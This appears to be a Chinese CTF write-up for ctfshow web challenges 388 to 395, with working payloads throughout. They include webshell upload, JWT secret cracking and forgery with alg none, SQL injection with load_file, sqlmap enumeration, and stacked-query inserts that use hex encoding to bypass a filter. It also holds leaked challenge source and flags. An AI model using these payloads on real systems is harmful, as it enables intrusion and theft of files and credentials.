web388


不用在意,我们用已知条件解出来了已知的数据


这个路径算是已知条件但是dirsearch扫不出来
访问后看到是一个编辑器
存在文件上传页面,我们可以尝试上传一句话木马进去





这个路径不用多说一直都是在这
web389

多了一个jwt

直接爆破
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3NTU2MTY4MiwiZXhwIjoxNzc1NTY4ODgyLCJuYmYiOjE3NzU1NjE2ODIsInN1YiI6InVzZXIiLCJqdGkiOiJhODZlZmQ3YWJjNjFkYTgyN2FhZmJhOWI1OTk5MmFiZSJ9.nwBTnSuYR-EtW1WMVL7FvslyecM_mxBQoD1J9_mOP8w -C -d /usr/share/wordlists/rockyou.txt

之后都是一样的步骤

看到这个页面就是代表成功写入了

成功获取flag
web390


还是需要jwt伪造但是这次的密钥爆不出来了
换个方法,把alg改为none,sub改为admin,然后重新编码token,如果后端没有对算法进行验证,那么就可以成功绕过了
用python脚本实现,记得要先用自己jwt解码的payload复制替换dict,然后更改user为admin
import jwt
payload = {
"iss": "admin",
"iat": 1775626036,
"exp": 1775633236,
"nbf": 1775626036,
"sub": "admin",
"jti": "f33fe6c9fb6a48be6192e55daabd2cdc"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(payload, key='', headers=headers, algorithm="none")
print(jwt_token)


成功

web391

点击灯泡往事
经测试存在字符型注入,为单引号,且#被过滤
也可以按照上一题的思路来,但是我觉得没必要,这个算是非预期

-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -

查看源代码可以看到flag
web392

search.php?title=-1%27+union+select+1%2C2%2Csubstr%28%28select+load_file%28%27%2Fflag%27%29%29%2C1%2C255%29--+-
还是跟上一题一样的
但是flag在的位置变了在根目录下,也是可以JWT伪造的,一样的
web393

最底下有一个搜索引擎

随便点一个看到url
修改网页id值,又显示其他页面

因此可以判断这里存储的是网页链接,通过传入的id值查询数据库中的url并进行访问

python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch

接着利用堆叠注入插入数据
search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');
最后访问/link.php?id=11即可
# ': 关键的闭合符号。它告诉数据库:原本的查询到此结束。
#;: 结束符号。在支持堆叠查询的数据库(如 MySQL、PostgreSQL)中,;
#允许你在第一条语句后面紧跟第二条完全不同的 SQL 语句
#insert into link(...): 攻击者不再只是"查询"数据,而是尝试向数据库的 link 表中插入一行新数据。
#values(11,'a',...): 设置 ID 为 11,名称为 'a'


还是根目录啊,问我怎么知道的,jwt伪造也能做,查看根目录下的
web394

search.php?title=1';insert into link(id, name, url)
values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可
记得在前面加个0x表示16进制
这次不在根目录/flag了,而是在网站目录的alsckdfy/check.php里面
访问/link.php?id=10

<!--?php
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justshow'){
die('授权码错误');
}
$flag='ctfshow{d8fb3db8-3255-4a0f-add5-04ba423b86eb}';
if(isset($u) && isset($p)){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn--->
web395
解法跟上一题一样

<!--?php
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justsoso'){
die('授权码错误');
}
$flag='ctfshow{53d2a7ef-17e0-4efd-a035-b2c110802976}';
if(isset($u) && isset($p)){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn--->